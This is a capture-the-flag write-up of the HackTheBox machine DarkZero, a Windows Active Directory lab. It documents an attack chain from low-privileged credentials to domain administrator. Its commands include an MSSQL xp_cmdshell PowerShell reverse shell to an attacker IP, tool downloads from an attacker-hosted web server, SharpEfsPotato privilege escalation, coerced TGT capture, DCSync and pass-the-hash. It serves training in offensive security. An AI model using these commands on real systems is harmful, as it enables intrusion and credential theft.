HTB: DarkZero Writeup

DarkZero - HackTheBox Writeup

Machine Information

AttributeDetails
NameDarkZero
OSWindows (Active Directory, dual forest)
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.68.98 (DC01, darkzero.htb) → DC02.darkzero.ext (cross-forest pivot)
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

DarkZero is an assumed-breach Active Directory box that starts with valid low-privileged credentials (darkzero.htb\john.w) and builds an entire attack chain around AD trust misconfigurations rather than a single memorable CVE. A misconfigured cross-domain MSSQL linked server lets john.w pivot from DC01 (darkzero.htb) into DC02 (darkzero.ext) as a sysadmin-privileged SQL login, xp_cmdshell gives code execution as the svc_sql service account, and the lack of SeImpersonatePrivilege on that session has to be worked around by abusing SeServiceLogonRight to relogon as a proper Windows service (Logon Type 5). From there, a classic impersonation-potato technique yields NT AUTHORITY\SYSTEM on DC02. The real payoff is the bidirectional forest trust: darkzero.htb has TGT delegation enabled and DC01 runs with Unconstrained Delegation, so forcing DC01$ to authenticate to the now-owned DC02 and capturing its TGT in transit hands over the keys to DCSync the darkzero.htb Administrator and land root on DC01.

TL;DR: john.w creds → MSSQL cross-forest linked server (DC01→DC02) as sysadmin dc01_sql_svc → xp_cmdshell reverse shell as svc_sql (no SeImpersonatePrivilege) → Policy_Backup.inf reveals SeServiceLogonRight → Rubeus tgtdeleg + chisel SOCKS pivot + faketime (8h clock skew) → certipy-ad cert request/auth for svc_sql NT hash → password change → RunasCs/Invoke-RunasCs Logon Type 5 restores SeImpersonatePrivilege → self-compiled SharpEfsPotato → SYSTEM on DC02, user flag → abuse Unconstrained Delegation via xp_dirtree forcing DC01$ to auth to DC02, capture TGT with Rubeus monitor → DCSync darkzero.htb\Administrator → evil-winrm pass-the-hash → root flag on DC01.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep from the jump/pivot host against DC01
nmap -Pn -p- --min-rate=2000 -T4 10.129.68.98 -oN /tmp/darkzero_allports.txt

Results: The scan profile matched a domain controller — Kerberos (88), DNS (53), LDAP (389/636/3268/3269), SMB (445), WinRM (5985), and notably MSSQL on 1433, confirming this box exposes SQL Server alongside the usual AD services.

Service Enumeration

Terminal window
# Confirm the supplied credentials work against MSSQL and SMB
netexec mssql 10.129.68.98 -d darkzero.htb -u john.w -p 'RFulUtONCOL!'
netexec smb 10.129.68.98 -u john.w -p 'RFulUtONCOL!'

Both confirmed valid domain credentials for darkzero.htb\john.w against DC01, with MSSQL reachable and NTLM-authenticatable.

Vulnerability Assessment

  • MSSQL server reachable with valid low-priv domain creds — worth checking for linked servers, a classic path to privilege escalation via sp_linkedservers/openquery abuse.
  • Presence of a second forest (darkzero.ext) suggested a cross-forest trust worth enumerating once inside MSSQL.

Initial Foothold

Exploitation Path

1. Enumerate MSSQL linked servers

Terminal window
# Interactively check for linked servers from the john.w SQL session
echo "enum_links" | impacket-mssqlclient -windows-auth "darkzero.htb/john.w:RFulUtONCOL!@10.129.68.98"

This confirmed a cross-forest linked server pointing from DC01 (darkzero.htb) to DC02.darkzero.ext, using a remote login dc01_sql_svc — matching the classic MSSQL linked-server pivot: the link executes queries on the remote server as the mapped remote login, and that login held sysadmin on DC02.

2. Stage payload infrastructure on the jump host

Terminal window
# Serve payloads and catch the reverse shell from a shared jump/pivot host
mkdir -p /tmp/darkzero/www
python3 -m http.server 8000 & # serves shell.ps1, Rubeus.exe, RunasCs, SharpEfsPotato.exe
nc -lnvp 1337 & # catches the PowerShell reverse shell

3. Pivot through the linked server and enable xp_cmdshell

-- Pivot from DC01's john.w session into the DC02 sysadmin context via the linked server
use_link "DC02.darkzero.ext"
enable_xp_cmdshell
xp_cmdshell powershell -enc <base64-encoded UTF-16LE reverse shell to 10.10.15.68:1337>

The base64 payload was a small TCP reverse shell (System.Net.Sockets.TCPClient) generated locally and encoded for powershell -enc, then fed into xp_cmdshell through the use_link context so it executed on DC02, not DC01. Catching it on the nc listener confirmed:

whoami
darkzero-ext\svc_sql

Why this works: enable_xp_cmdshell is a sysadmin-only stored procedure; because the linked-server context inherited dc01_sql_svc’s sysadmin membership on DC02, xp_cmdshell could be turned on and used for OS command execution even though john.w itself has no privileges on DC02.

4. Confirm the SeImpersonatePrivilege gap

whoami /priv

Unlike a typical service-spawned shell, this session did not carry SeImpersonatePrivilege — ruling out the usual “potato” privesc until that privilege could be regained.


Privilege Escalation

svc_sql → SYSTEM on DC02

1. Discover SeServiceLogonRight via a leaked policy backup

Terminal window
# C:\Policy_Backup.inf on DC02 contains the exported local security policy
Select-String -Path C:\Policy_Backup.inf -Pattern SeServiceLogonRight

This revealed svc_sql was explicitly granted SeServiceLogonRight — meaning it can be logged on via LOGON32_LOGON_SERVICE (Logon Type 5). A service-type logon carries the full privilege set the account is entitled to, including SeImpersonatePrivilege, unlike the interactive/network logon xp_cmdshell had produced.

2. Obtain a delegation TGT and pivot through the boundary

Terminal window
# Upload Rubeus and request a fake-delegation TGT for the current context
iwr -uri http://10.10.15.68:8000/Rubeus.exe -o C:\windows\tasks\Rubeus.exe
C:\windows\tasks\Rubeus.exe tgtdeleg /nowrap

To reach DC02’s certificate services and RPC endpoints from the attack host, a chisel reverse SOCKS pivot was established through the DC02 shell, and faketime was used on the attacking side to correct an ~8-hour Kerberos clock skew between the operator’s clock and the domain — Kerberos authentication fails hard outside its default 5-minute skew tolerance, so this was a hard blocker until corrected.

3. Recover svc_sql’s NT hash via certificate authentication

Terminal window
# Convert the delegated TGT and request a certificate as svc_sql through the SOCKS pivot
impacket-ticketConverter svc_sql.kirbi svc_sql.ccache
export KRB5CCNAME=svc_sql.ccache
proxychains certipy-ad req -u svc_sql -k -no-pass -target DC02.darkzero.ext \
-ca 'darkzero-ext-DC02-CA' -template 'user'
# Use the resulting PFX to authenticate and recover the account's NT hash
proxychains certipy-ad auth -pfx svc_sql.pfx -domain darkzero.ext

4. Force a known password and regain the service logon

Terminal window
# Change svc_sql's password using the recovered hash (pass-the-hash password change)
proxychains impacket-changepasswd -hashes :<svc_sql-nthash> -newhash :<new-nthash> \
'darkzero.ext/svc_sql'@DC02.darkzero.ext
Terminal window
# Restore full service-account privileges with an explicit Logon Type 5
Invoke-RunasCs -Username svc_sql -Password '<new-password>' -LogonType 5 -BypassUAC -Command 'whoami /priv'

whoami /priv on the resulting session confirmed SeImpersonatePrivilege: Enabled.

5. Impersonation privesc to SYSTEM

Terminal window
# SharpEfsPotato release binaries weren't reachable, so it was built from source
git clone https://github.com/bugch3ck/SharpEfsPotato.git
cd SharpEfsPotato/SharpEfsPotato
mcs -platform:x64 -out:SharpEfsPotato.exe Options.cs Properties/AssemblyInfo.cs Sw*.cs *.cs

Building with mcs (Mono’s C# compiler, available on the Linux jump host, rather than pulling a prebuilt release) surfaced a String.Split overload mismatch between the Mono BCL and the .NET Framework API the project targeted, which was patched in the source before it would compile cleanly.

Terminal window
# Trigger EfsRpc named-pipe impersonation with SeImpersonatePrivilege now present
C:\windows\tasks\SharpEfsPotato.exe -a '/c powershell -enc <reverse shell to attacker>'

Catching the resulting shell confirmed nt authority\system on DC02, and user.txt was read from the Administrator/appropriate desktop path.

Cross-forest: DC02 SYSTEM → darkzero.htb Administrator (DC01)

1. Enumerate the forest trust

The bidirectional darkzero.htb ↔ darkzero.ext trust has TGT delegation enabled, and DC01 (as a domain controller) carries Unconstrained Delegation by default — meaning any service that authenticates to DC01 hands over a fully-usable TGT that can be captured by whoever controls the machine the authentication is directed at.

2. Force DC01$ to authenticate to the now-owned DC02

Terminal window
# On DC02 (as SYSTEM): watch for incoming TGTs
C:\windows\tasks\Rubeus.exe monitor /interval:5 /nowrap
-- Back on the DC01 MSSQL session as john.w: force SMB auth from the DC01 machine account to DC02
xp_dirtree \\DC02.darkzero.ext\C$

xp_dirtree makes the SQL Server service account (running as DC01$, unconstrained-delegation-enabled) perform an SMB connection to the attacker-controlled path. Because DC01 has Unconstrained Delegation, its authentication to DC02 hands over DC01$’s TGT to the target — and since the attacker now controls DC02 as SYSTEM, Rubeus monitor sitting there captures it.

3. Use the captured DC01$ TGT for DCSync

Converting the captured TGT to ccache and using it against DC01 allowed DCSync rights to be exercised against darkzero.htb\Administrator (machine accounts of domain controllers effectively carry replication rights), yielding the Administrator’s NT hash.

4. Root via pass-the-hash

Terminal window
# Authenticate as darkzero.htb\Administrator using the DCSync'd hash
evil-winrm -i 10.129.68.98 -u Administrator -H <administrator-nthash>

This produced an nt authority\system-equivalent Administrator session on DC01, and root.txt was read from the Administrator desktop.


Attack Chain Summary

john.w creds (darkzero.htb)
→ MSSQL enum_links → cross-forest linked server DC01→DC02 (dc01_sql_svc, sysadmin on DC02)
→ enable_xp_cmdshell → reverse shell as darkzero-ext\svc_sql (no SeImpersonatePrivilege)
→ Policy_Backup.inf → svc_sql has SeServiceLogonRight
→ Rubeus tgtdeleg + chisel reverse SOCKS + faketime (8h skew fix)
→ certipy-ad cert request/auth → svc_sql NT hash → password change
→ RunasCs/Invoke-RunasCs Logon Type 5 → SeImpersonatePrivilege restored
→ self-compiled SharpEfsPotato → NT AUTHORITY\SYSTEM on DC02 → user.txt
→ xp_dirtree forces DC01$ (Unconstrained Delegation) to auth to DC02
→ Rubeus monitor captures DC01$ TGT
→ DCSync darkzero.htb\Administrator
→ evil-winrm pass-the-hash → root.txt on DC01

Tools Used

ToolPurpose
nmapPort scanning / service fingerprinting
netexecCredential validation against MSSQL/SMB
impacket-mssqlclientMSSQL interaction, enum_links, xp_cmdshell
impacket-ticketConverterKirbi → ccache conversion
impacket-changepasswdPass-the-hash password change for svc_sql
Rubeustgtdeleg, TGT monitoring for the delegation abuse
certipy-adCertificate request/auth to recover svc_sql’s NT hash
chiselReverse SOCKS pivot into the darkzero.ext forest
faketimeCorrected Kerberos clock skew for authentication
RunasCs / Invoke-RunasCsLogon Type 5 service logon to regain SeImpersonatePrivilege
SharpEfsPotato (self-compiled via mcs)Impersonation privesc to SYSTEM
evil-winrmPass-the-hash WinRM session as Administrator

Key Learnings

Techniques Practiced

  • Cross-forest MSSQL linked-server pivoting and abuse of inherited sysadmin context
  • Recovering lost SeImpersonatePrivilege through SeServiceLogonRight and an explicit Logon Type 5
  • Kerberos TGT delegation abuse (tgtdeleg) combined with certificate-based authentication (certipy-ad) to recover credential material
  • Building offensive tooling from source under Mono when prebuilt release binaries aren’t reachable, including patching a runtime API mismatch
  • Forcing machine-account authentication with xp_dirtree to abuse Unconstrained Delegation across a bidirectional forest trust
  • DCSync and pass-the-hash to close out domain compromise

Lessons Learned

  1. A linked server is a privilege boundary in name only — if the remote login is sysadmin, any principal that can reach the link inherits that sysadmin context on the remote server, regardless of forest boundaries.
  2. Not every command-shell session carries the privileges its parent service normally would; checking whoami /priv immediately after gaining execution avoids wasted effort on techniques (like potato exploits) that require privileges not actually present.
  3. Leftover artifacts like an exported Policy_Backup.inf can leak exactly which logon rights are configured for an account — treat any world-readable policy export as a live source of privilege-escalation leads.
  4. Kerberos is unforgiving about clock skew; when pivoting through jump infrastructure with its own clock, verify and correct skew (faketime) before troubleshooting what looks like an authentication failure.
  5. Unconstrained Delegation on a domain controller in a bidirectionally-trusted forest is a standing risk: any attacker who controls a target that a delegation-enabled account can be coerced into authenticating to can capture a fully-privileged TGT, collapsing the trust boundary between forests.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • 0xEr3bus, “DarkZero” HackTheBox writeup (21 Feb 2026) — used for conceptual context on the MSSQL cross-domain linked-server trust chain, the SeServiceLogonRight/Logon Type 5 privilege-recovery technique, and the Unconstrained Delegation / TGT-capture mechanism abused for the cross-forest DCSync.